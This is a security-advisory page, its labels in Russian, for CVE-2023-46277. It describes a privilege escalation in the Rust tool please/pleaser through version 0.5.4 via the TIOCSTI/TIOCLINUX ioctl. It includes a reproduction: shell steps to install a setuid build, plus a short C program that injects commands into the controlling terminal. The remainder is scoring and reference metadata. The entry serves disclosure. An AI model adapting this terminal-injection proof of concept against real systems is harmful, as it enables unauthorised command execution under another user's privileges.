GHSA-cgf8-h3fp-h956

Опубликовано: 20 окт. 2023

Источник: github

Github: Прошло ревью

CVSS4: 8.5

CVSS3: 7.8

Описание

Pleaser privilege escalation vulnerability

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

Here is how to see it in action:

$ cd "$(mktemp -d)" $ git clone --depth 1 https://gitlab.com/edneville/please.git $ cd please/ $ git rev-parse HEAD # f3598f8fae5455a8ecf22afca19eaba7be5053c9 $ cargo test && cargo build --release $ echo "[${USER}_as_nobody]"$'\nname='"${USER}"$'\ntarget=nobody\nrule=.*\nrequire_pass=false' | sudo tee /etc/please.ini $ sudo chown root:root ./target/release/please $ sudo chmod u+s ./target/release/please $ cat <<TIOCSTI_C_EOF | tee TIOCSTI.c #include <sys/ioctl.h> int main(void) { const char *text = "id\n"; while (*text) ioctl(0, TIOCSTI, text++); return 0; } TIOCSTI_C_EOF $ gcc -std=c99 -Wall -Wextra -pedantic -o /tmp/TIOCSTI TIOCSTI.c $ ./target/release/please -u nobody /tmp/TIOCSTI # runs id(1) as ${USER} rather than nobody

Please note that:

This affects both the case where root wants to drop privileges as well when non-root wants to gain other privileges.

Ссылки

Пакеты

Наименование

pleaser

rust

Затронутые версииВерсия исправления

<= 0.5.4

Отсутствует

EPSS

Процентиль: 21%

0.0007

Низкий

8.5 High

CVSS4

7.8 High

CVSS3

CVE ID

CVE-2023-46277

Дефекты

CWE-269

Связанные уязвимости

CVE-2023-46277

CVSS3: 7.8

ubuntu

больше 2 лет назад

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

CVE-2023-46277

CVSS3: 7.8

nvd

больше 2 лет назад

please (aka pleaser) through 0.5.4 allows privilege escalation through the TIOCSTI and/or TIOCLINUX ioctl. (If both TIOCSTI and TIOCLINUX are disabled, this cannot be exploited.)

CVE-2023-46277

CVSS3: 7.8

debian

больше 2 лет назад

please (aka pleaser) through 0.5.4 allows privilege escalation through ...

EPSS

Процентиль: 21%

0.0007

Низкий

8.5 High

CVSS4

7.8 High

CVSS3

CVE ID

CVE-2023-46277

Дефекты

CWE-269